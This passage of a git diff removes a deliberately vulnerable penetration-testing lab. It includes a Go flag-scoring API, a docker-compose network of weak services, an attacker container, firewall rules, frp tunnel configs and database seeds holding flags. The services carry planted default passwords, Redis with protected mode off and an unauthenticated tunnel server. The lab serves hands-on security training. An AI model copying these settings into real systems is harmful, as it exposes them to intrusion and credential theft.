{"vpn-gateway"}, // Flag 3: VPN 网关 - 4: {"backup-server"}, // Flag 4: 备份服务器 - 5: {"cache-redis"}, // Flag 5: Redis - 6: {"db-mysql"}, // Flag 6: MySQL - 7: {"db-mongo"}, // Flag 7: MongoDB (最终目标) - 8: {"search-es"}, // Flag 8: Elasticsearch - 9: {"db-postgres"}, // Flag 9: PostgreSQL - 10: {"db-mssql"}, // Flag 10: MSSQL - 11: {"pc-vnc"}, // Flag 11: VNC - 12: {"oldpc-telnet"}, // Flag 12: Telnet - 13: {"printer"}, // Flag 13: SNMP -} - -// challengeMap provides O(1) lookup by challenge ID -var challengeMap map[int]*Challenge - -func init() { - challengeMap = make(map[int]*Challenge, len(challenges)) - for i := range challenges { - challengeMap[challenges[i].ID] = &challenges[i] - } -} - -// getChallengeByID returns a challenge by ID or error if not found -func getChallengeByID(id int) (*Challenge, error) { - ch, ok := challengeMap[id] - if !ok { - return nil, fmt.Errorf("challenge not found") - } - return ch, nil -} - -// contains checks if a slice contains a value -func contains(slice []int, val int) bool { - for _, v := range slice { - if v == val { - return true - } - } - return false -} - -const progressFile = "/app/data/progress.json" - -func loadProgress() (*Progress, error) { - data, err := os.ReadFile(progressFile) - if err != nil { - if os.IsNotExist(err) { - return &Progress{ - UserID: "default", - CompletedChallenges: []int{}, - TotalScore: 0, - StartTime: time.Now(), - LastUpdate: time.Now(), - SubmissionHistory: []Submission{}, - }, nil - } - return nil, err - } - - var progress Progress - if err := json.Unmarshal(data, &progress); err != nil { - return nil, err - } - return &progress, nil -} - -func saveProgress(progress *Progress) error { - progress.LastUpdate = time.Now() - data, err := json.MarshalIndent(progress, "", " ") - if err != nil { - return err - } - return os.WriteFile(progressFile, data, 0644) -} - -func main() { - os.MkdirAll("/app/data", 0755) - - r := gin.Default() - - r.Use(cors.New(cors.Config{ - AllowOrigins: []string{"*"}, - AllowMethods: []string{"GET", "POST", "PUT", "DELETE"}, - AllowHeaders: []string{"Origin", "Content-Type"}, - ExposeHeaders: []string{"Content-Length"}, - AllowCredentials: true, - })) - - r.GET("/api/challenges", getChallenges) - r.GET("/api/challenges/:id", getChallenge) - r.POST("/api/submit", submitFlag) - r.GET("/api/progress", getProgress) - r.POST("/api/reset", resetProgress) - r.GET("/api/topology", getTopology) - r.GET("/api/hints/:id", getHints) - - log.Println("Starting fscan-lab API server on :8888") - r.Run(":8888") -} - -func getChallenges(c *gin.Context) { - publicChallenges := make([]map[string]interface{}, len(challenges)) - for i, ch := range challenges { - publicChallenges[i] = map[string]interface{}{ - "id": ch.ID, - "name": ch.Name, - "description": ch.Description, - "difficulty": ch.Difficulty, - "points": ch.Points, - "network": ch.Network, - "targets": ch.Targets, - "order": ch.Order, // 渗透顺序 - } - } - c.JSON(http.StatusOK, publicChallenges) -} - -func getChallenge(c *gin.Context) { - idStr := c.Param("id") - var id int - if _, err := fmt.Sscanf(idStr, "%d", &id); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid challenge ID"}) - return - } - - challenge, err := getChallengeByID(id) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - c.JSON(http.StatusOK, gin.H{ - "id": challenge.ID, - "name": challenge.Name, - "description": challenge.Description, - "difficulty": challenge.Difficulty, - "points": challenge.Points, - "network": challenge.Network, - "targets": challenge.Targets, - }) -} - -func submitFlag(c *gin.Context) { - var req struct { - ChallengeID int `json:"challenge_id"` - Flag string `json:"flag"` - } - - if err := c.ShouldBindJSON(&req); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) - return - } - - challenge, err := getChallengeByID(req.ChallengeID) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - - correct := strings.TrimSpace(req.Flag) == strings.TrimSpace(challenge.Flag) - alreadySolved := contains(progress.CompletedChallenges, req.ChallengeID) - - // Record submission - progress.SubmissionHistory = append(progress.SubmissionHistory, Submission{ - ChallengeID: req.ChallengeID, - Flag: req.Flag, - Correct: correct, - Timestamp: time.Now(), - }) - - // Award points for first-time completion - if correct && !alreadySolved { - progress.CompletedChallenges = append(progress.CompletedChallenges, req.ChallengeID) - progress.TotalScore += challenge.Points - } - - if err := saveProgress(progress); err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to save progress"}) - return - } - - c.JSON(http.StatusOK, gin.H{ - "correct": correct, - "message": map[bool]string{true: "Congratulations! Flag accepted!", false: "Incorrect flag. Try again!"}[correct], - "points_earned": challenge.Points, - "total_score": progress.TotalScore, - "already_solved": alreadySolved, - }) -} - -func getProgress(c *gin.Context) { - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - c.JSON(http.StatusOK, progress) -} - -func resetProgress(c *gin.Context) { - progress := &Progress{ - UserID: "default", - CompletedChallenges: []int{}, - TotalScore: 0, - StartTime: time.Now(), - LastUpdate: time.Now(), - SubmissionHistory: []Submission{}, - } - - if err := saveProgress(progress); err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to reset progress"}) - return - } - - c.JSON(http.StatusOK, gin.H{"message": "Progress reset successfully"}) -} - -func getTopology(c *gin.Context) { - progress, err := loadProgress() - if err != nil { - c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to load progress"}) - return - } - - // Build set of compromised nodes based on completed challenges - compromisedNodes := make(map[string]bool) - for _, challengeID := range progress.CompletedChallenges { - if nodeIDs, ok := challengeToNodes[challengeID]; ok { - for _, nodeID := range nodeIDs { - compromisedNodes[nodeID] = true - } - } - } - - // Clone topology and update node statuses - topology := NetworkTopology{ - Nodes: make([]NetworkNode, len(networkTopology.Nodes)), - Edges: networkTopology.Edges, - } - - for i, node := range networkTopology.Nodes { - topology.Nodes[i] = node - // Update status based on progress - if compromisedNodes[node.ID] { - topology.Nodes[i].Status = "compromised" - } - } - - c.JSON(http.StatusOK, topology) -} - -func getHints(c *gin.Context) { - idStr := c.Param("id") - var id int - if _, err := fmt.Sscanf(idStr, "%d", &id); err != nil { - c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid challenge ID"}) - return - } - - challenge, err := getChallengeByID(id) - if err != nil { - c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) - return - } - - c.JSON(http.StatusOK, gin.H{"hints": challenge.Hints}) -} diff --git a/fscan-lab/docker-compose.yml b/fscan-lab/docker-compose.yml deleted file mode 100644 index 136c9ff7..00000000 --- a/fscan-lab/docker-compose.yml +++ /dev/null @@ -1,382 +0,0 @@ -services: - # ============================================ - # 防火墙路由容器(核心网络控制) - # ============================================ - firewall: - build: ./docker/firewall - container_name: lab-firewall - hostname: firewall - cap_add: - - NET_ADMIN - sysctls: - - net.ipv4.ip_forward=1 - networks: - internet: - ipv4_address: 172.16.0.1 - dmz: - ipv4_address: 10.10.1.1 - office: - ipv4_address: 10.10.2.1 - production: - ipv4_address: 10.10.3.1 - core: - ipv4_address: 10.10.4.1 - restart: unless-stopped - - # ============================================ - # 攻击者机器(起点) - # ============================================ - attacker: - build: ./docker/attacker - container_name: lab-attacker - hostname: attacker - cap_add: - - NET_ADMIN - networks: - internet: - ipv4_address: 172.16.0.2 - dmz: - ipv4_address: 10.10.1.2 - volumes: - - ./flags:/root/flags - stdin_open: true - tty: true - restart: unless-stopped - - # ============================================ - # DMZ 区(4台主机) - # ============================================ - web-dmz: - build: ./test-services/Tomcat - container_name: lab-web-dmz - hostname: web-dmz - networks: - dmz: - ipv4_address: 10.10.1.10 - volumes: - - ./flags/flag1.txt:/usr/local/tomcat/webapps/ROOT/flag1.txt:ro - restart: unless-stopped - - mail-dmz: - build: ./test-services/SMTP - container_name: lab-mail-dmz - hostname: mail-dmz - networks: - dmz: - ipv4_address: 10.10.1.11 - restart: unless-stopped - - ftp-dmz: - image: bogem/ftp - container_name: lab-ftp-dmz - hostname: ftp-dmz - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=10.10.1.12 - networks: - dmz: - ipv4_address: 10.10.1.12 - volumes: - - ./flags/flag2.txt:/home/vsftpd/flag2.txt:ro - - ./flags/office_key:/home/vsftpd/.ssh/office_key:ro - - ./flags/clues/dmz_clue.txt:/home/vsftpd/next_step.txt:ro - restart: unless-stopped - - vpn-gateway: - build: ./test-services/SSH - container_name: lab-vpn-gateway - hostname: vpn-gateway - networks: - dmz: - ipv4_address: 10.10.1.13 - office: - ipv4_address: 10.10.2.2 - volumes: - - ./flags/flag3.txt:/etc/flag3.txt:ro - - ./docker/services/dmz/vpn-gateway/authorized_keys:/root/.ssh/authorized_keys - - ./docker/services/dmz/vpn-gateway/frps.ini:/etc/frp/frps.ini:ro - - ./docker/services/dmz/vpn-gateway/start-frps.sh:/usr/local/bin/start-frps:ro - restart: unless-stopped - - # ============================================ - # 办公网(5台主机) - # ============================================ - pc-vnc: - build: ./test-services/VNC - container_name: lab-pc-vnc - hostname: pc-vnc - networks: - office: - ipv4_address: 10.10.2.20 - environment: - - VNC_PASSWORD=password - volumes: - - ./flags/flag11.txt:/root/Desktop/flag11.txt:ro - restart: unless-stopped - - pc-ssh: - build: ./test-services/SSH - container_name: lab-pc-ssh - hostname: pc-ssh - networks: - office: - ipv4_address: 10.10.2.21 - volumes: - - ./docker/services/office/pc-ssh/.bash_history:/root/.bash_history:ro - restart: unless-stopped - - backup-server: - build: ./test-services/Rsync - container_name: lab-backup-server - hostname: backup-server - networks: - office: - ipv4_address: 10.10.2.22 - volumes: - - ./flags/flag4.txt:/data/backup/credentials/flag4.txt:ro - - ./flags/clues/prod_redis.conf:/data/backup/credentials/prod_redis.conf:ro - - ./flags/clues/prod_hosts.txt:/data/backup/credentials/prod_hosts.txt:ro - - ./flags/prod_jump_key:/data/backup/credentials/ssh_keys/prod_jump_key:ro - restart: unless-stopped - - printer: - build: ./test-services/SMB - container_name: lab-printer - hostname: printer - networks: - office: - ipv4_address: 10.10.2.23 - volumes: - - ./flags/flag13.txt:/shared/documents/flag13.txt:ro - - ./flags/clues/printer_info.txt:/shared/documents/printer_info.txt:ro - restart: unless-stopped - - oldpc-telnet: - build: ./test-services/Telnet - container_name: lab-oldpc-telnet - hostname: oldpc-telnet - networks: - office: - ipv4_address: 10.10.2.24 - volumes: - - ./flags/flag12.txt:/root/flag12.txt:ro - restart: unless-stopped - - # ============================================ - # 生产网(5台主机) - # ============================================ - app-web: - build: ./test-services/Tomcat - container_name: lab-app-web - hostname: app-web - networks: - production: - ipv4_address: 10.10.3.30 - restart: unless-stopped - - cache-redis: - build: ./test-services/Redis - container_name: lab-cache-redis - hostname: cache-redis - networks: - production: - ipv4_address: 10.10.3.31 - command: redis-server --bind 0.0.0.0 --protected-mode no --requirepass redis123 - volumes: - - ./docker/services/production/redis/init.sh:/docker-entrypoint-initdb.d/init.sh:ro - restart: unless-stopped - - mq-rabbit: - image: rabbitmq:3-management - container_name: lab-mq-rabbit - hostname: mq-rabbit - environment: - RABBITMQ_DEFAULT_USER: admin - RABBITMQ_DEFAULT_PASS: rabbit123 - networks: - production: - ipv4_address: 10.10.3.32 - restart: unless-stopped - - mq-activemq: - build: ./test-services/ActiveMQ - container_name: lab-mq-activemq - hostname: mq-activemq - networks: - production: - ipv4_address: 10.10.3.33 - restart: unless-stopped - - search-es: - image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - container_name: lab-search-es - hostname: search-es - environment: - - discovery.type=single-node - - xpack.security.enabled=false - networks: - production: - ipv4_address: 10.10.3.34 - volumes: - - ./docker/services/production/elasticsearch/init-es.sh:/usr/local/bin/init-es.sh:ro - restart: unless-stopped - - # ============================================ - # 核心网(5台主机) - # ============================================ - db-mysql: - image: mysql:latest - container_name: lab-db-mysql - hostname: db-mysql - environment: - MYSQL_ROOT_PASSWORD: Password - MYSQL_DATABASE: secrets - networks: - core: - ipv4_address: 10.10.4.40 - volumes: - - ./docker/services/core/mysql/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-mssql: - image: mcr.microsoft.com/mssql/server:2022-latest - container_name: lab-db-mssql - hostname: db-mssql - environment: - ACCEPT_EULA: Y - MSSQL_SA_PASSWORD: P@ssword123 - MSSQL_PID: Express - networks: - core: - ipv4_address: 10.10.4.41 - volumes: - - ./docker/services/core/mssql/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-postgres: - image: postgres:latest - container_name: lab-db-postgres - hostname: db-postgres - environment: - POSTGRES_USER: postgres - POSTGRES_PASSWORD: postgres123 - POSTGRES_DB: business - networks: - core: - ipv4_address: 10.10.4.42 - volumes: - - ./docker/services/core/postgres/init.sql:/docker-entrypoint-initdb.d/init.sql:ro - restart: unless-stopped - - db-mongo: - image: mongo:latest - container_name: lab-db-mongo - hostname: db-mongo - environment: - MONGO_INITDB_ROOT_USERNAME: admin - MONGO_INITDB_ROOT_PASSWORD: mongo123 - networks: - core: - ipv4_address: 10.10.4.43 - volumes: - - ./docker/services/core/mongo/init.js:/docker-entrypoint-initdb.d/init.js:ro - restart: unless-stopped - - dc-ldap: - build: ./test-services/LDAP - container_name: lab-dc-ldap - hostname: dc-ldap - environment: - LDAP_ORGANISATION: "TargetCorp" - LDAP_DOMAIN: "target.corp" - LDAP_BASE_DN: "dc=target,dc=corp" - LDAP_ADMIN_PASSWORD: "Admin123" - networks: - core: - ipv4_address: 10.10.4.44 - restart: unless-stopped - - # ============================================ - # 后端 API(flag 验证和进度管理) - # ============================================ - lab-api: - build: ./backend - container_name: lab-api - hostname: lab-api - networks: - internet: - ipv4_address: 172.16.0.100 - ports: - - "8888:8888" - volumes: - - ./flags:/app/flags:ro - - ./backend/data:/app/data - restart: unless-stopped - - # ============================================ - # 前端 Web UI - # ============================================ - lab-web: - build: ./frontend - container_name: lab-web - hostname: lab-web - networks: - internet: - ipv4_address: 172.16.0.101 - ports: - - "3000:3000" - environment: - - VITE_API_URL=http://172.16.0.100:8888 - restart: unless-stopped - -# ============================================ -# 网络定义(5层网络架构) -# ============================================ -networks: - internet: - driver: bridge - ipam: - config: - - subnet: 172.16.0.0/24 - gateway: 172.16.0.254 - - dmz: - driver: bridge - ipam: - config: - - subnet: 10.10.1.0/24 - gateway: 10.10.1.254 - - office: - driver: bridge - internal: true # 无直接外网访问 - ipam: - config: - - subnet: 10.10.2.0/24 - gateway: 10.10.2.254 - - production: - driver: bridge - internal: true - ipam: - config: - - subnet: 10.10.3.0/24 - gateway: 10.10.3.254 - - core: - driver: bridge - internal: true - ipam: - config: - - subnet: 10.10.4.0/24 - gateway: 10.10.4.254 - -# ============================================ -# 数据卷 -# ============================================ -volumes: - mysql_data: - postgres_data: - mongo_data: - redis_data: diff --git a/fscan-lab/docker/attacker/Dockerfile b/fscan-lab/docker/attacker/Dockerfile deleted file mode 100644 index ef1475eb..00000000 --- a/fscan-lab/docker/attacker/Dockerfile +++ /dev/null @@ -1,36 +0,0 @@ -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装基本工具(分批安装避免超时) -RUN apt-get update && \ - apt-get install -y curl wget vim iputils-ping net-tools && \ - apt-get install -y openssh-client ftp rsync telnet && \ - apt-get install -y redis-tools mysql-client postgresql-client && \ - apt-get clean && rm -rf /var/lib/apt/lists/* - -# 创建工作目录 -WORKDIR /root - -# 复制 fscan 二进制(需要用户提前编译) -COPY fscan /usr/local/bin/fscan -RUN chmod +x /usr/local/bin/fscan - -# 下载并安装 frp 客户端 (v0.65.0) -RUN wget -q https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz && \ - tar -xzf frp_0.65.0_linux_amd64.tar.gz && \ - mv frp_0.65.0_linux_amd64/frpc /usr/local/bin/frpc && \ - chmod +x /usr/local/bin/frpc && \ - rm -rf frp_0.65.0_linux_amd64* - -# 创建工具目录 -RUN mkdir -p /root/tools /root/loot /root/scripts /etc/frp - -# 复制 frp 客户端配置 -COPY frpc.ini /etc/frp/frpc.ini - -# 欢迎信息 -COPY welcome.sh /root/.bashrc -RUN echo 'export PS1="\[\033[01;31m\]attacker\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# "' >> /root/.bashrc - -CMD ["/bin/bash"] diff --git a/fscan-lab/docker/attacker/frpc.ini b/fscan-lab/docker/attacker/frpc.ini deleted file mode 100644 index 3d3eff41..00000000 --- a/fscan-lab/docker/attacker/frpc.ini +++ /dev/null @@ -1,18 +0,0 @@ -# FRP 客户端配置 -# 用于通过 VPN 网关建立 SOCKS5 代理隧道 - -[common] -server_addr = 10.10.1.13 -server_port = 7000 -# 连接超时 (秒) -dial_server_timeout = 10 - -# SOCKS5 代理插件 -# 在本地 1080 端口监听,通过 frps 转发流量到 VPN 网关 -[socks5] -type = tcp -remote_port = 1080 -plugin = socks5 -# 不需要认证(内网环境) -plugin_user = -plugin_passwd = diff --git a/fscan-lab/docker/attacker/welcome.sh b/fscan-lab/docker/attacker/welcome.sh deleted file mode 100644 index 5a118ccd..00000000 --- a/fscan-lab/docker/attacker/welcome.sh +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/bash - -cat << "EOF" -╔═══════════════════════════════════════════════════════╗ -║ ║ -║ ╔═╗╔═╗╔═╗╔═╗╔╗╔ ╦ ╔═╗╔╗ ║ -║ ╠╣ ╚═╗║ ╠═╣║║║───║ ╠═╣╠╩╗ ║ -║ ╚ ╚═╝╚═╝╩ ╩╝╚╝ ╩═╝╩ ╩╚═╝ ║ -║ ║ -║ 内网渗透测试训练平台 ║ -║ Network Penetration Lab ║ -║ ║ -╚═══════════════════════════════════════════════════════╝ - -[*] 当前位置:外网 (172.16.0.2) -[*] 目标网络:10.10.0.0/16 - -[*] 任务:渗透内网,获取所有 7 个 flag - -[*] 可用工具: - - fscan (内网扫描工具) - - nmap (端口扫描) - - ssh/ftp (远程连接) - - rsync (文件同步) - - redis-cli (Redis 客户端) - - mysql (MySQL 客户端) - -[*] 提示: - 1. 从扫描 DMZ 区开始 (10.10.1.0/24) - 2. 寻找弱密码和配置错误 - 3. 利用获取的凭证进行横向移动 - 4. 阅读 /root/docs/ 中的文档获取帮助 - -[*] 第一个命令: - fscan -h 10.10.1.0/24 - -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ - -EOF - -export PS1="\[\033[01;31m\]attacker\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# " diff --git a/fscan-lab/docker/firewall/Dockerfile b/fscan-lab/docker/firewall/Dockerfile deleted file mode 100644 index c9829e57..00000000 --- a/fscan-lab/docker/firewall/Dockerfile +++ /dev/null @@ -1,12 +0,0 @@ -FROM alpine:latest - -RUN apk add --no-cache \ - iptables \ - ip6tables \ - bash \ - iproute2 - -COPY firewall.sh /firewall.sh -RUN chmod +x /firewall.sh - -CMD ["/firewall.sh"] diff --git a/fscan-lab/docker/firewall/firewall.sh b/fscan-lab/docker/firewall/firewall.sh deleted file mode 100644 index a7efa009..00000000 --- a/fscan-lab/docker/firewall/firewall.sh +++ /dev/null @@ -1,116 +0,0 @@ -#!/bin/bash - -set -e - -echo "[*] Starting firewall configuration..." - -# 启用 IP 转发 (如果Docker已设置则跳过) -if echo 1 > /proc/sys/net/ipv4/ip_forward 2>/dev/null; then - echo "[+] IP forwarding enabled" -else - echo "[!] IP forwarding already enabled by Docker" -fi - -# 清空所有规则 -iptables -F -iptables -X -iptables -t nat -F -iptables -t nat -X -echo "[+] Cleared existing rules" - -# 默认策略:FORWARD 拒绝,INPUT/OUTPUT 允许 -iptables -P FORWARD DROP -iptables -P INPUT ACCEPT -iptables -P OUTPUT ACCEPT -echo "[+] Set default policies" - -# ============================================ -# 网络定义 -# ============================================ -INTERNET="172.16.0.0/24" -DMZ="10.10.1.0/24" -OFFICE="10.10.2.0/24" -PRODUCTION="10.10.3.0/24" -CORE="10.10.4.0/24" - -VPN_GATEWAY="10.10.1.13" # VPN 网关(双网卡) - -# ============================================ -# 规则 1:外网 -> DMZ(允许) -# ============================================ -iptables -A FORWARD -s $INTERNET -d $DMZ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -iptables -A FORWARD -s $DMZ -d $INTERNET -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 1: Internet -> DMZ allowed" - -# ============================================ -# 规则 2:外网 -> 内网(拒绝) -# ============================================ -iptables -A FORWARD -s $INTERNET -d $OFFICE -j DROP -iptables -A FORWARD -s $INTERNET -d $PRODUCTION -j DROP -iptables -A FORWARD -s $INTERNET -d $CORE -j DROP -echo "[+] Rule 2: Internet -> Internal networks blocked" - -# ============================================ -# 规则 3:DMZ -> 办公网(只允许 VPN 网关) -# ============================================ -# VPN 网关本身有两个网卡,自动有路由,这里允许数据包转发 -iptables -A FORWARD -s $DMZ -d $OFFICE -j ACCEPT -iptables -A FORWARD -s $OFFICE -d $DMZ -j ACCEPT -echo "[+] Rule 3: DMZ <-> Office (via VPN gateway)" - -# ============================================ -# 规则 4:办公网 -> 生产网(允许,但限制) -# ============================================ -# 只允许特定端口(SSH, Redis, RabbitMQ, ActiveMQ, ES) -iptables -A FORWARD -s $OFFICE -d $PRODUCTION -p tcp -m multiport --dports 22,6379,5672,15672,61613,61614,9200,8080 -j ACCEPT -iptables -A FORWARD -s $PRODUCTION -d $OFFICE -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 4: Office -> Production (limited ports)" - -# ============================================ -# 规则 5:生产网 -> 核心网(允许) -# ============================================ -iptables -A FORWARD -s $PRODUCTION -d $CORE -j ACCEPT -iptables -A FORWARD -s $CORE -d $PRODUCTION -m state --state ESTABLISHED,RELATED -j ACCEPT -echo "[+] Rule 5: Production <-> Core allowed" - -# ============================================ -# 规则 6:办公网 -> 核心网(拒绝,必须通过生产网) -# ============================================ -iptables -A FORWARD -s $OFFICE -d $CORE -j DROP -echo "[+] Rule 6: Office -> Core blocked (must go through Production)" - -# ============================================ -# 规则 7:允许同网段内部通信 -# ============================================ -iptables -A FORWARD -s $DMZ -d $DMZ -j ACCEPT -iptables -A FORWARD -s $OFFICE -d $OFFICE -j ACCEPT -iptables -A FORWARD -s $PRODUCTION -d $PRODUCTION -j ACCEPT -iptables -A FORWARD -s $CORE -d $CORE -j ACCEPT -echo "[+] Rule 7: Intra-network communication allowed" - -# ============================================ -# 日志规则(调试用) -# ============================================ -# iptables -A FORWARD -j LOG --log-prefix "FW-DROP: " --log-level 4 - -# ============================================ -# 显示规则 -# ============================================ -echo "" -echo "============================================" -echo "Firewall Rules Summary:" -echo "============================================" -iptables -L FORWARD -n -v --line-numbers - -echo "" -echo "[*] Firewall configured successfully!" -echo "[*] Network topology:" -echo " Internet (172.16.0.0/24)" -echo " └─> DMZ (10.10.1.0/24)" -echo " └─> Office (10.10.2.0/24)" -echo " └─> Production (10.10.3.0/24)" -echo " └─> Core (10.10.4.0/24)" -echo "" - -# 保持容器运行 -tail -f /dev/null diff --git a/fscan-lab/docker/services/core/mongo/init.js b/fscan-lab/docker/services/core/mongo/init.js deleted file mode 100644 index 2c094a7e..00000000 --- a/fscan-lab/docker/services/core/mongo/init.js +++ /dev/null @@ -1,21 +0,0 @@ -db = db.getSiblingDB('admin'); - -db.createCollection('admin_secrets'); - -db.admin_secrets.insert({ - type: 'flag', - value: 'FSCAN_LAB{y0u_pwn3d_th3_n3tw0rk}', - description: 'Final Flag - Congratulations! You have successfully penetrated the entire network!', - achievement: 'Network Penetration Master', - timestamp: new Date() -}); - -db.admin_secrets.insert({ - type: 'credentials', - service: 'root_access', - username: 'root', - password: 'RootP@ss2024', - notes: 'Full system access - game over!' -}); - -print('MongoDB initialized with final flag'); diff --git a/fscan-lab/docker/services/core/mssql/init.sql b/fscan-lab/docker/services/core/mssql/init.sql deleted file mode 100644 index 17dd1af0..00000000 --- a/fscan-lab/docker/services/core/mssql/init.sql +++ /dev/null @@ -1,36 +0,0 @@ --- MSSQL 初始化脚本 --- 创建 secrets 表并插入 flag10 - -USE master; -GO - -CREATE TABLE dbo.secrets ( - id INT IDENTITY(1,1) PRIMARY KEY, - key_name NVARCHAR(255) NOT NULL, - key_value NVARCHAR(MAX) NOT NULL, - created_at DATETIME DEFAULT GETDATE() -); -GO - --- 插入 flag10 -INSERT INTO dbo.secrets (key_name, key_value) VALUES - ('flag10', 'FSCAN_LAB{mssql_s4_4cc0unt_pwn3d}'), - ('db_version', 'Microsoft SQL Server 2022'), - ('admin_account', 'sa'), - ('production_db', '10.10.3.31'); -GO - --- 创建业务数据表 -CREATE TABLE dbo.employees ( - id INT IDENTITY(1,1) PRIMARY KEY, - name NVARCHAR(100), - position NVARCHAR(100), - salary DECIMAL(10,2) -); -GO - -INSERT INTO dbo.employees (name, position, salary) VALUES - ('David', 'Manager', 95000.00), - ('Eve', 'Developer', 80000.00), - ('Frank', 'Designer', 75000.00); -GO diff --git a/fscan-lab/docker/services/core/mysql/init.sql b/fscan-lab/docker/services/core/mysql/init.sql deleted file mode 100644 index 6182187a..00000000 --- a/fscan-lab/docker/services/core/mysql/init.sql +++ /dev/null @@ -1,25 +0,0 @@ -CREATE DATABASE IF NOT EXISTS secrets; -USE secrets; - -CREATE TABLE IF NOT EXISTS flags ( - id INT PRIMARY KEY, - flag VARCHAR(255) NOT NULL, - description VARCHAR(255) -); - -CREATE TABLE IF NOT EXISTS credentials ( - id INT PRIMARY KEY AUTO_INCREMENT, - service VARCHAR(50), - username VARCHAR(100), - password VARCHAR(100), - notes TEXT -); - -INSERT INTO flags (id, flag, description) VALUES -(1, 'FSCAN_LAB{mysql_d4t4b4s3_pwn3d}', 'Flag 6 - MySQL Database'), -(2, 'Hint: LDAP admin credentials are admin:LdapAdmin2024', 'LDAP Hint'); - -INSERT INTO credentials (service, username, password, notes) VALUES -('ldap', 'admin', 'LdapAdmin2024', 'Domain controller admin account'), -('mongodb', 'admin', 'mongo123', 'MongoDB root password'), -('backup', 'backup_user', 'Backup@2024', 'Backup system credentials'); diff --git a/fscan-lab/docker/services/core/postgres/init.sql b/fscan-lab/docker/services/core/postgres/init.sql deleted file mode 100644 index 6e39e818..00000000 --- a/fscan-lab/docker/services/core/postgres/init.sql +++ /dev/null @@ -1,29 +0,0 @@ --- PostgreSQL 初始化脚本 --- 创建 secrets 表并插入 flag9 - -CREATE TABLE IF NOT EXISTS secrets ( - id SERIAL PRIMARY KEY, - key VARCHAR(255) NOT NULL, - value TEXT NOT NULL, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- 插入 flag9 -INSERT INTO secrets (key, value) VALUES - ('flag9', 'FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d}'), - ('db_type', 'PostgreSQL 15'), - ('admin_email', 'dba@target.corp'), - ('backup_server', '10.10.2.22'); - --- 创建业务数据表 -CREATE TABLE IF NOT EXISTS users ( - id SERIAL PRIMARY KEY, - username VARCHAR(100), - email VARCHAR(255), - department VARCHAR(100) -); - -INSERT INTO users (username, email, department) VALUES - ('alice', 'alice@target.corp', 'Engineering'), - ('bob', 'bob@target.corp', 'Sales'), - ('charlie', 'charlie@target.corp', 'HR'); diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys b/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys deleted file mode 100644 index 28697ac9..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/authorized_keys +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmc1l6L2DsowOUp+IxkDhtHgSAGYXretgoQNcS6S4uZLx51Tw7uzXWoSH0RjY/VJaT6PZ/W3g8tYcTsUegq/Fa2yCgLLQB9l1tJ1SoT/UvbdIolynMTY02vVVLEO9mMxkS3TKIXdrwIcuw6J+4ON5SbZ2WitPwD3fiT0vDlFNlnw5SDHN/8mJgIPOU4WXSEZBgovG6ML1rcfd/MCk8pEi22TMS3xi9Q99wjAGRrNHyYICpeUokP13Q/f881en4aA1Wc88F+GXi/Ql+ySLbDgGl1WQhyCj9uk0JiFPzg6rccdDLaIunTT9beQF1WyXCPNZWMO8XddHfr7sRkzgvSsx office_vpn_key diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini b/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini deleted file mode 100644 index 1705bb91..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/frps.ini +++ /dev/null @@ -1,23 +0,0 @@ -# FRP 服务端配置 -# VPN 网关上运行,用于建立代理隧道到办公网 - -[common] -# 监听端口(客户端连接端口) -bind_port = 7000 - -# Dashboard 配置(可选,用于查看连接状态) -dashboard_port = 7500 -dashboard_user = admin -dashboard_pwd = fscan_lab_frp - -# 日志配置 -log_file = /var/log/frps.log -log_level = info -log_max_days = 3 - -# 性能配置 -max_pool_count = 50 -max_ports_per_client = 0 - -# 认证(这里不启用,因为是内网测试环境) -# token = your_secret_token diff --git a/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh b/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh deleted file mode 100644 index adc81656..00000000 --- a/fscan-lab/docker/services/dmz/vpn-gateway/start-frps.sh +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/bash -# FRP 服务端启动脚本 -# 在后台启动 frps 服务 - -echo "[+] 启动 FRP 服务端..." -nohup /usr/local/bin/frps -c /etc/frp/frps.ini > /var/log/frps.log 2>&1 & - -if [ $? -eq 0 ]; then - echo "[+] FRP 服务端已启动" - echo "[+] 监听端口: 7000" - echo "[+] Dashboard: http://10.10.1.13:7500 (admin/fscan_lab_frp)" - echo "[+] 日志文件: 